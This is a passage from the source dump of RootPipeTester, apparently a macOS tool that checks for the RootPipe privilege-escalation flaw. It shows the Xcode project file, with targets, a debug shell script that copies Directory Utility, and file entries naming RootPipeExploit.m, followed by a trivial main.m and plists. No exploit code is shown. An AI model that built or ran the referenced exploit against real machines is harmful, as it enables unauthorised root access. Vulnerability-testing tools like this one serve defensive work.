86 | 8210FE511B451FE6004E2BB5 /* Admin.framework in Frameworks */,
87 | 8210FE531B451FF6004E2BB5 /* PreferencePanes.framework in Frameworks */,
88 | 8210FE551B451FFE004E2BB5 /* Security.framework in Frameworks */,
89 | 8210FE571B451FFE004E2BB5 /* SecurityFoundation.framework in Frameworks */,
90 | );
91 | runOnlyForDeploymentPostprocessing = 0;
92 | };
93 | 8D11072E0486CEB800E47090 /* Frameworks */ = {
94 | isa = PBXFrameworksBuildPhase;
95 | buildActionMask = 2147483647;
96 | files = (
97 | 8D11072F0486CEB800E47090 /* Cocoa.framework in Frameworks */,
98 | 82B6ED361AD90AD600BFBAA2 /* Admin.framework in Frameworks */,
99 | 82B6ED391AD90AE500BFBAA2 /* SecurityFoundation.framework in Frameworks */,
100 | 82583BEB1AE94D84005120E4 /* Security.framework in Frameworks */,
101 | 82EDC4361AFF4E5500E541DD /* PreferencePanes.framework in Frameworks */,
102 | );
103 | runOnlyForDeploymentPostprocessing = 0;
104 | };
105 | /* End PBXFrameworksBuildPhase section */
106 |
107 | /* Begin PBXGroup section */
108 | 080E96DDFE201D6D7F000001 /* Classes */ = {
109 | isa = PBXGroup;
110 | children = (
111 | 82B6EDD51AD91DC800BFBAA2 /* RootPipeDelegate.m */,
112 | 82B6ECED1AD903CA00BFBAA2 /* RootPipeDelegate.h */,
113 | 8210D4131AE4FA4A0074CDBE /* RootPipeExploit.m */,
114 | 8210D4121AE4FA4A0074CDBE /* RootPipeExploit.h */,
115 | 8210D49D1AE513920074CDBE /* RootPipeTest.m */,
116 | 8210D49C1AE513920074CDBE /* RootPipeTest.h */,
117 | 82583B971AE92688005120E4 /* RightsInspectorDelegate.m */,
118 | 82583B981AE92688005120E4 /* RightsInspectorDelegate.h */,
119 | );
120 | name = Classes;
121 | sourceTree = "";
122 | };
123 | 1058C7A0FEA54F0111CA2CBB /* Linked Frameworks */ = {
124 | isa = PBXGroup;
125 | children = (
126 | 82EDC4351AFF4E5500E541DD /* PreferencePanes.framework */,
127 | 82583BEA1AE94D84005120E4 /* Security.framework */,
128 | 82B6ED381AD90AE500BFBAA2 /* SecurityFoundation.framework */,
129 | 82B6ED351AD90AD600BFBAA2 /* Admin.framework */,
130 | 1058C7A1FEA54F0111CA2CBB /* Cocoa.framework */,
131 | );
132 | name = "Linked Frameworks";
133 | sourceTree = "";
134 | };
135 | 1058C7A2FEA54F0111CA2CBB /* Other Frameworks */ = {
136 | isa = PBXGroup;
137 | children = (
138 | 29B97324FDCFA39411CA2CEA /* AppKit.framework */,
139 | 13E42FB307B3F0F600E4EEF1 /* CoreData.framework */,
140 | 29B97325FDCFA39411CA2CEA /* Foundation.framework */,
141 | );
142 | name = "Other Frameworks";
143 | sourceTree = "";
144 | };
145 | 19C28FACFE9D520D11CA2CBB /* Products */ = {
146 | isa = PBXGroup;
147 | children = (
148 | 8D1107320486CEB800E47090 /* RootPipeTester.app */,
149 | 8210FE491B451F68004E2BB5 /* RPTDAPlugIn.bundle */,
150 | );
151 | name = Products;
152 | sourceTree = "";
153 | };
154 | 29B97314FDCFA39411CA2CEA /* RootPipeTester */ = {
155 | isa = PBXGroup;
156 | children = (
157 | 821F98841B4881D700205B4F /* RPTDAPlugIn */,
158 | 080E96DDFE201D6D7F000001 /* Classes */,
159 | 29B97315FDCFA39411CA2CEA /* Other Sources */,
160 | 29B97317FDCFA39411CA2CEA /* Resources */,
161 | 29B97323FDCFA39411CA2CEA /* Frameworks */,
162 | 19C28FACFE9D520D11CA2CBB /* Products */,
163 | );
164 | name = RootPipeTester;
165 | sourceTree = "";
166 | };
167 | 29B97315FDCFA39411CA2CEA /* Other Sources */ = {
168 | isa = PBXGroup;
169 | children = (
170 | 32CA4F630368D1EE00C91783 /* RootPipeTester_Prefix.pch */,
171 | 29B97316FDCFA39411CA2CEA /* main.m */,
172 | );
173 | name = "Other Sources";
174 | sourceTree = "";
175 | };
176 | 29B97317FDCFA39411CA2CEA /* Resources */ = {
177 | isa = PBXGroup;
178 | children = (
179 | 82CA3F231ADEB02600938120 /* RootPipeTester.icns */,
180 | 8D1107310486CEB800E47090 /* Info.plist */,
181 | 089C165CFE840E0CC02AAC07 /* InfoPlist.strings */,
182 | 82287FF41AF95BD400CFA966 /* MainMenu.nib */,
183 | );
184 | name = Resources;
185 | sourceTree = "";
186 | };
187 | 29B97323FDCFA39411CA2CEA /* Frameworks */ = {
188 | isa = PBXGroup;
189 | children = (
190 | 1058C7A0FEA54F0111CA2CBB /* Linked Frameworks */,
191 | 1058C7A2FEA54F0111CA2CBB /* Other Frameworks */,
192 | );
193 | name = Frameworks;
194 | sourceTree = "";
195 | };
196 | 821F98841B4881D700205B4F /* RPTDAPlugIn */ = {
197 | isa = PBXGroup;
198 | children = (
199 | 821F98851B4881EE00205B4F /* Classes */,
200 | 82B6FE381B63A5740059BAC4 /* Other Sources */,
201 | 821F98891B48822C00205B4F /* Resources */,
202 | 821F98861B48820300205B4F /* Frameworks */,
203 | );
204 | name = RPTDAPlugIn;
205 | sourceTree = "";
206 | };
207 | 821F98851B4881EE00205B4F /* Classes */ = {
208 | isa = PBXGroup;
209 | children = (
210 | 8210FE3A1B451EAF004E2BB5 /* RPTDAPlugIn.m */,
211 | 8210FE391B451EAF004E2BB5 /* RPTDAPlugIn.h */,
212 | );
213 | name = Classes;
214 | sourceTree = "";
215 | };
216 | 821F98861B48820300205B4F /* Frameworks */ = {
217 | isa = PBXGroup;
218 | children = (
219 | 8210FE4E1B451FC3004E2BB5 /* Cocoa.framework */,
220 | 8210FE521B451FF6004E2BB5 /* PreferencePanes.framework */,
221 | 8210FE541B451FFE004E2BB5 /* Security.framework */,
222 | 8210FE561B451FFE004E2BB5 /* SecurityFoundation.framework */,
223 | 8210FE501B451FE6004E2BB5 /* Admin.framework */,
224 | );
225 | name = Frameworks;
226 | sourceTree = "";
227 | };
228 | 821F98891B48822C00205B4F /* Resources */ = {
229 | isa = PBXGroup;
230 | children = (
231 | 8210FE4A1B451F68004E2BB5 /* RPTDAPlugIn-Info.plist */,
232 | );
233 | name = Resources;
234 | sourceTree = "";
235 | };
236 | 82B6FE381B63A5740059BAC4 /* Other Sources */ = {
237 | isa = PBXGroup;
238 | children = (
239 | 82B6FE391B63A5A90059BAC4 /* RPTDAPlugIn_Prefix.pch */,
240 | );
241 | name = "Other Sources";
242 | sourceTree = "";
243 | };
244 | /* End PBXGroup section */
245 |
246 | /* Begin PBXNativeTarget section */
247 | 8210FE481B451F68004E2BB5 /* RPTDAPlugIn */ = {
248 | isa = PBXNativeTarget;
249 | buildConfigurationList = 8210FE4D1B451F6E004E2BB5 /* Build configuration list for PBXNativeTarget "RPTDAPlugIn" */;
250 | buildPhases = (
251 | 8210FE451B451F68004E2BB5 /* Resources */,
252 | 8210FE461B451F68004E2BB5 /* Sources */,
253 | 8210FE471B451F68004E2BB5 /* Frameworks */,
254 | 8210FEBF1B452BF7004E2BB5 /* ShellScript */,
255 | );
256 | buildRules = (
257 | );
258 | dependencies = (
259 | );
260 | name = RPTDAPlugIn;
261 | productName = DAPlugIn;
262 | productReference = 8210FE491B451F68004E2BB5 /* RPTDAPlugIn.bundle */;
263 | productType = "com.apple.product-type.bundle";
264 | };
265 | 8D1107260486CEB800E47090 /* RootPipeTester */ = {
266 | isa = PBXNativeTarget;
267 | buildConfigurationList = C01FCF4A08A954540054247B /* Build configuration list for PBXNativeTarget "RootPipeTester" */;
268 | buildPhases = (
269 | 8D1107290486CEB800E47090 /* Resources */,
270 | 8D11072C0486CEB800E47090 /* Sources */,
271 | 8D11072E0486CEB800E47090 /* Frameworks */,
272 | );
273 | buildRules = (
274 | );
275 | dependencies = (
276 | 825364FC1B455257000D600B /* PBXTargetDependency */,
277 | );
278 | name = RootPipeTester;
279 | productInstallPath = "$(HOME)/Applications";
280 | productName = RootPipeTester;
281 | productReference = 8D1107320486CEB800E47090 /* RootPipeTester.app */;
282 | productType = "com.apple.product-type.application";
283 | };
284 | /* End PBXNativeTarget section */
285 |
286 | /* Begin PBXProject section */
287 | 29B97313FDCFA39411CA2CEA /* Project object */ = {
288 | isa = PBXProject;
289 | attributes = {
290 | BuildIndependentTargetsInParallel = YES;
291 | };
292 | buildConfigurationList = C01FCF4E08A954540054247B /* Build configuration list for PBXProject "RootPipeTester" */;
293 | compatibilityVersion = "Xcode 2.4";
294 | hasScannedForEncodings = 1;
295 | mainGroup = 29B97314FDCFA39411CA2CEA /* RootPipeTester */;
296 | projectDirPath = "";
297 | projectRoot = "";
298 | targets = (
299 | 8D1107260486CEB800E47090 /* RootPipeTester */,
300 | 8210FE481B451F68004E2BB5 /* RPTDAPlugIn */,
301 | );
302 | };
303 | /* End PBXProject section */
304 |
305 | /* Begin PBXResourcesBuildPhase section */
306 | 8210FE451B451F68004E2BB5 /* Resources */ = {
307 | isa = PBXResourcesBuildPhase;
308 | buildActionMask = 2147483647;
309 | files = (
310 | );
311 | runOnlyForDeploymentPostprocessing = 0;
312 | };
313 | 8D1107290486CEB800E47090 /* Resources */ = {
314 | isa = PBXResourcesBuildPhase;
315 | buildActionMask = 2147483647;
316 | files = (
317 | 8D11072B0486CEB800E47090 /* InfoPlist.strings in Resources */,
318 | 82CA3F241ADEB02600938120 /* RootPipeTester.icns in Resources */,
319 | 82287FF61AF95BD400CFA966 /* MainMenu.nib in Resources */,
320 | 8253650E1B455499000D600B /* RPTDAPlugIn.bundle in Resources */,
321 | );
322 | runOnlyForDeploymentPostprocessing = 0;
323 | };
324 | /* End PBXResourcesBuildPhase section */
325 |
326 | /* Begin PBXShellScriptBuildPhase section */
327 | 8210FEBF1B452BF7004E2BB5 /* ShellScript */ = {
328 | isa = PBXShellScriptBuildPhase;
329 | buildActionMask = 2147483647;
330 | files = (
331 | );
332 | inputPaths = (
333 | );
334 | outputPaths = (
335 | );
336 | runOnlyForDeploymentPostprocessing = 0;
337 | shellPath = "/usr/bin/env bash";
338 | shellScript = "IDE_NAME=\"Xcode\"\n\nfunction alert {\n\tosascript -e \"tell application \\\"${IDE_NAME}\\\" to display alert \\\"$1\\\"\" > /dev/null\n}\n\nTMP_DIR=\"/private/tmp/RPT-Debug\"\n\n# Ask the user if he intends to debug\nSHOULD_DEBUG=$(osascript -e \"tell application \\\"${IDE_NAME}\\\" to display dialog \\\"Prepare $TARGET_NAME for debugging in Xcode?\\nClick yes if you are planning to debug this build in Xcode. Otherwise click No.\\\" buttons {\\\"Skip\\\", \\\"Yes\\\"} default button \\\"Skip\\\"\"|sed -e 's/.*button returned://' -e 's/,.*//')\n\nif [ \"$SHOULD_DEBUG\" = \"Yes\" ]; then\t\n\t# Prepare Directory Utility for debugging with custom executable\n\t\n\tDABUNDLE_NAME=\"${FULL_PRODUCT_NAME:?}\"\n\tDABUNDLE_PATH=\"${TARGET_BUILD_DIR:?}/${DABUNDLE_NAME:?}\"\n\n\tif [ ! -d $DABUNDLE_PATH ]; then \n\t\talert \"Cannot find DAPlugin.bundle at \\\"$DABUNDLE_PATH\\\"\"\n\t\texit 1\n\tfi\n\n\techo \"Refreshing ${TMP_DIR}...\"\n\tif [ -e ${TMP_DIR:?} ]; then rm -r ${TMP_DIR:?}; fi\n\tmkdir ${TMP_DIR:?}\n\n\techo \"Copying \\\"Directory Utility.app\\\" to ${TMP_DIR} and add ${DABUNDLE_NAME}...\"\n\tif [ -d \"/Applications/Utilities/Directory Utility.app\" ]; then\n\t\tcp -r /Applications/Utilities/Directory\\ Utility.app ${TMP_DIR:?}/Directory\\ Utility.app\n\telif [ -d \"/System/Library/CoreServices/Directory Utility.app\" ]; then\n\t\tcp -r /System/Library/CoreServices/Directory\\ Utility.app ${TMP_DIR:?}/Directory\\ Utility.app\n\telif [ -d \"/System/Library/CoreServices/Applications/Directory Utility.app\" ]; then\n\t\tcp -r /System/Library/CoreServices/Applications/Directory\\ Utility.app ${TMP_DIR:?}/Directory\\ Utility.app\n\telif [ -d \"/Applications/Utilities/Directory Access.app\" ]; then\n\t\tcp -r /Applications/Utilities/Directory\\ Access.app ${TMP_DIR:?}/Directory\\ Utility.app \n\telse\n\t\texit 1;\n\tfi\n\n\tcp -r ${DABUNDLE_PATH:?}/ ${TMP_DIR:?}/Directory\\ Utility.app/Contents/PlugIns/RootPipeTester.daplug\n\n\techo \"Done\"\nfi\n\nexit 0";
339 | };
340 | /* End PBXShellScriptBuildPhase section */
341 |
342 | /* Begin PBXSourcesBuildPhase section */
343 | 8210FE461B451F68004E2BB5 /* Sources */ = {
344 | isa = PBXSourcesBuildPhase;
345 | buildActionMask = 2147483647;
346 | files = (
347 | 8210FE6F1B452444004E2BB5 /* RPTDAPlugIn.m in Sources */,
348 | 8210FE8A1B452721004E2BB5 /* RootPipeTest.m in Sources */,
349 | 8210FE8B1B452738004E2BB5 /* RootPipeExploit.m in Sources */,
350 | );
351 | runOnlyForDeploymentPostprocessing = 0;
352 | };
353 | 8D11072C0486CEB800E47090 /* Sources */ = {
354 | isa = PBXSourcesBuildPhase;
355 | buildActionMask = 2147483647;
356 | files = (
357 | 8D11072D0486CEB800E47090 /* main.m in Sources */,
358 | 82B6EDD61AD91DC800BFBAA2 /* RootPipeDelegate.m in Sources */,
359 | 8210D4141AE4FA4A0074CDBE /* RootPipeExploit.m in Sources */,
360 | 8210D49E1AE513920074CDBE /* RootPipeTest.m in Sources */,
361 | 82583B991AE92688005120E4 /* RightsInspectorDelegate.m in Sources */,
362 | );
363 | runOnlyForDeploymentPostprocessing = 0;
364 | };
365 | /* End PBXSourcesBuildPhase section */
366 |
367 | /* Begin PBXTargetDependency section */
368 | 825364FC1B455257000D600B /* PBXTargetDependency */ = {
369 | isa = PBXTargetDependency;
370 | target = 8210FE481B451F68004E2BB5 /* RPTDAPlugIn */;
371 | targetProxy = 825364FB1B455257000D600B /* PBXContainerItemProxy */;
372 | };
373 | /* End PBXTargetDependency section */
374 |
375 | /* Begin PBXVariantGroup section */
376 | 089C165CFE840E0CC02AAC07 /* InfoPlist.strings */ = {
377 | isa = PBXVariantGroup;
378 | children = (
379 | 089C165DFE840E0CC02AAC07 /* English */,
380 | );
381 | name = InfoPlist.strings;
382 | sourceTree = "";
383 | };
384 | 82287FF41AF95BD400CFA966 /* MainMenu.nib */ = {
385 | isa = PBXVariantGroup;
386 | children = (
387 | 82287FF51AF95BD400CFA966 /* English */,
388 | );
389 | name = MainMenu.nib;
390 | sourceTree = "";
391 | };
392 | /* End PBXVariantGroup section */
393 |
394 | /* Begin XCBuildConfiguration section */
395 | 8210FE4B1B451F6D004E2BB5 /* Debug */ = {
396 | isa = XCBuildConfiguration;
397 | buildSettings = {
398 | ALWAYS_SEARCH_USER_PATHS = NO;
399 | COPY_PHASE_STRIP = NO;
400 | FRAMEWORK_SEARCH_PATHS = (
401 | "$(inherited)",
402 | "\"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks\"",
403 | );
404 | GCC_DYNAMIC_NO_PIC = NO;
405 | GCC_ENABLE_FIX_AND_CONTINUE = YES;
406 | GCC_MODEL_TUNING = G5;
407 | GCC_OPTIMIZATION_LEVEL = 0;
408 | GCC_PRECOMPILE_PREFIX_HEADER = YES;
409 | GCC_PREFIX_HEADER = "$(SYSTEM_LIBRARY_DIR)/Frameworks/AppKit.framework/Headers/AppKit.h";
410 | INFOPLIST_FILE = "RPTDAPlugIn/RPTDAPlugIn-Info.plist";
411 | INSTALL_PATH = /tmp;
412 | OTHER_LDFLAGS = (
413 | "-framework",
414 | Foundation,
415 | "-framework",
416 | AppKit,
417 | );
418 | PREBINDING = NO;
419 | PRODUCT_NAME = RPTDAPlugIn;
420 | WRAPPER_EXTENSION = bundle;
421 | };
422 | name = Debug;
423 | };
424 | 8210FE4C1B451F6D004E2BB5 /* Release */ = {
425 | isa = XCBuildConfiguration;
426 | buildSettings = {
427 | ALWAYS_SEARCH_USER_PATHS = NO;
428 | COPY_PHASE_STRIP = YES;
429 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
430 | FRAMEWORK_SEARCH_PATHS = (
431 | "$(inherited)",
432 | "\"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks\"",
433 | );
434 | GCC_ENABLE_FIX_AND_CONTINUE = NO;
435 | GCC_MODEL_TUNING = G5;
436 | GCC_PRECOMPILE_PREFIX_HEADER = YES;
437 | GCC_PREFIX_HEADER = RPTDAPlugIn/RPTDAPlugIn_Prefix.pch;
438 | INFOPLIST_FILE = "RPTDAPlugIn/RPTDAPlugIn-Info.plist";
439 | INSTALL_PATH = /tmp;
440 | MACH_O_TYPE = mh_bundle;
441 | OTHER_LDFLAGS = (
442 | "-framework",
443 | Foundation,
444 | "-framework",
445 | AppKit,
446 | );
447 | PREBINDING = NO;
448 | PRODUCT_NAME = RPTDAPlugIn;
449 | WRAPPER_EXTENSION = bundle;
450 | ZERO_LINK = NO;
451 | };
452 | name = Release;
453 | };
454 | C01FCF4B08A954540054247B /* Debug */ = {
455 | isa = XCBuildConfiguration;
456 | buildSettings = {
457 | ALWAYS_SEARCH_USER_PATHS = NO;
458 | COPY_PHASE_STRIP = NO;
459 | FRAMEWORK_SEARCH_PATHS = (
460 | "$(inherited)",
461 | "$(FRAMEWORK_SEARCH_PATHS_QUOTED_FOR_TARGET_1)",
462 | );
463 | FRAMEWORK_SEARCH_PATHS_QUOTED_FOR_TARGET_1 = "\"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks\"";
464 | GCC_DYNAMIC_NO_PIC = NO;
465 | GCC_ENABLE_FIX_AND_CONTINUE = YES;
466 | GCC_MODEL_TUNING = G5;
467 | GCC_OPTIMIZATION_LEVEL = 0;
468 | GCC_PRECOMPILE_PREFIX_HEADER = YES;
469 | GCC_PREFIX_HEADER = RootPipeTester_Prefix.pch;
470 | INFOPLIST_FILE = Info.plist;
471 | INSTALL_PATH = "$(HOME)/Applications";
472 | PRODUCT_NAME = RootPipeTester;
473 | };
474 | name = Debug;
475 | };
476 | C01FCF4C08A954540054247B /* Release */ = {
477 | isa = XCBuildConfiguration;
478 | buildSettings = {
479 | ALWAYS_SEARCH_USER_PATHS = NO;
480 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
481 | FRAMEWORK_SEARCH_PATHS = (
482 | "$(inherited)",
483 | "$(FRAMEWORK_SEARCH_PATHS_QUOTED_FOR_TARGET_1)",
484 | );
485 | FRAMEWORK_SEARCH_PATHS_QUOTED_FOR_TARGET_1 = "\"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks\"";
486 | GCC_MODEL_TUNING = G5;
487 | GCC_PRECOMPILE_PREFIX_HEADER = YES;
488 | GCC_PREFIX_HEADER = RootPipeTester_Prefix.pch;
489 | INFOPLIST_FILE = Info.plist;
490 | INSTALL_PATH = "$(HOME)/Applications";
491 | PRODUCT_NAME = RootPipeTester;
492 | };
493 | name = Release;
494 | };
495 | C01FCF4F08A954540054247B /* Debug */ = {
496 | isa = XCBuildConfiguration;
497 | buildSettings = {
498 | ARCHS = "$(ARCHS_STANDARD_32_BIT)";
499 | CURRENT_PROJECT_VERSION = 2.0;
500 | GCC_C_LANGUAGE_STANDARD = c99;
501 | GCC_OPTIMIZATION_LEVEL = 0;
502 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
503 | GCC_WARN_ABOUT_MISSING_NEWLINE = YES;
504 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
505 | GCC_WARN_MISSING_PARENTHESES = YES;
506 | GCC_WARN_SIGN_COMPARE = YES;
507 | GCC_WARN_UNUSED_FUNCTION = YES;
508 | GCC_WARN_UNUSED_VALUE = YES;
509 | GCC_WARN_UNUSED_VARIABLE = YES;
510 | INFOPLIST_OUTPUT_FORMAT = xml;
511 | MACOSX_DEPLOYMENT_TARGET = 10.3;
512 | ONLY_ACTIVE_ARCH = YES;
513 | PLIST_FILE_OUTPUT_FORMAT = xml;
514 | PRODUCT_NAME = "RootPipe Tester";
515 | SDKROOT = macosx10.4;
516 | VERSIONING_SYSTEM = "apple-generic";
517 | };
518 | name = Debug;
519 | };
520 | C01FCF5008A954540054247B /* Release */ = {
521 | isa = XCBuildConfiguration;
522 | buildSettings = {
523 | ARCHS = "$(ARCHS_STANDARD_32_BIT)";
524 | CURRENT_PROJECT_VERSION = 2.0;
525 | GCC_C_LANGUAGE_STANDARD = c99;
526 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
527 | GCC_WARN_ABOUT_MISSING_NEWLINE = YES;
528 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
529 | GCC_WARN_MISSING_PARENTHESES = YES;
530 | GCC_WARN_SIGN_COMPARE = YES;
531 | GCC_WARN_UNUSED_FUNCTION = YES;
532 | GCC_WARN_UNUSED_VALUE = YES;
533 | GCC_WARN_UNUSED_VARIABLE = YES;
534 | INFOPLIST_OUTPUT_FORMAT = xml;
535 | MACH_O_TYPE = mh_execute;
536 | MACOSX_DEPLOYMENT_TARGET = 10.3;
537 | PLIST_FILE_OUTPUT_FORMAT = xml;
538 | PRODUCT_NAME = "RootPipe Tester";
539 | SDKROOT = macosx10.4;
540 | VERSIONING_SYSTEM = "apple-generic";
541 | };
542 | name = Release;
543 | };
544 | /* End XCBuildConfiguration section */
545 |
546 | /* Begin XCConfigurationList section */
547 | 8210FE4D1B451F6E004E2BB5 /* Build configuration list for PBXNativeTarget "RPTDAPlugIn" */ = {
548 | isa = XCConfigurationList;
549 | buildConfigurations = (
550 | 8210FE4B1B451F6D004E2BB5 /* Debug */,
551 | 8210FE4C1B451F6D004E2BB5 /* Release */,
552 | );
553 | defaultConfigurationIsVisible = 0;
554 | defaultConfigurationName = Release;
555 | };
556 | C01FCF4A08A954540054247B /* Build configuration list for PBXNativeTarget "RootPipeTester" */ = {
557 | isa = XCConfigurationList;
558 | buildConfigurations = (
559 | C01FCF4B08A954540054247B /* Debug */,
560 | C01FCF4C08A954540054247B /* Release */,
561 | );
562 | defaultConfigurationIsVisible = 0;
563 | defaultConfigurationName = Release;
564 | };
565 | C01FCF4E08A954540054247B /* Build configuration list for PBXProject "RootPipeTester" */ = {
566 | isa = XCConfigurationList;
567 | buildConfigurations = (
568 | C01FCF4F08A954540054247B /* Debug */,
569 | C01FCF5008A954540054247B /* Release */,
570 | );
571 | defaultConfigurationIsVisible = 0;
572 | defaultConfigurationName = Release;
573 | };
574 | /* End XCConfigurationList section */
575 | };
576 | rootObject = 29B97313FDCFA39411CA2CEA /* Project object */;
577 | }
578 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RootPipeTester_Prefix.pch:
--------------------------------------------------------------------------------
1 | //
2 | // Prefix header for all source files of the 'RootPipeTester' target in the 'RootPipeTester' project
3 | //
4 |
5 | #ifdef __OBJC__
6 | #import
7 | #endif
8 |
9 | #ifndef MAC_OS_X_VERSION_10_3
10 | #define MAC_OS_X_VERSION_10_3 1040
11 | #endif
12 | #ifndef MAC_OS_X_VERSION_10_4
13 | #define MAC_OS_X_VERSION_10_4 1040
14 | #endif
15 |
--------------------------------------------------------------------------------
/src/RootPipeTester/main.m:
--------------------------------------------------------------------------------
1 | //
2 | // main.m
3 | // RootPipeTester
4 | //
5 | // Created by Takashi Yoshi on 11.04.2015.
6 | // Copyright 2015 Takashi Yoshi.
7 | //
8 | //
9 | // This program is free software: you can redistribute it and/or modify
10 | // it under the terms of the GNU General Public License as published by
11 | // the Free Software Foundation, either version 3 of the License, or
12 | // (at your option) any later version.
13 | //
14 | // This program is distributed in the hope that it will be useful,
15 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | // GNU General Public License for more details.
18 | //
19 | // You should have received a copy of the GNU General Public License
20 | // along with this program. If not, see .
21 | //
22 |
23 |
24 | #import
25 |
26 | int main(int argc, char *argv[])
27 | {
28 | return NSApplicationMain(argc, (const char **) argv);
29 | }
30 |
--------------------------------------------------------------------------------
/src/RootPipeTester/version.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | BuildVersion
6 | 3
7 | CFBundleVersion
8 | 1.0
9 | ProductBuildVersion
10 | 9M2729
11 | ProjectName
12 | DevToolsWizardTemplates
13 | SourceVersion
14 | 11600000
15 |
16 |
17 |
--------------------------------------------------------------------------------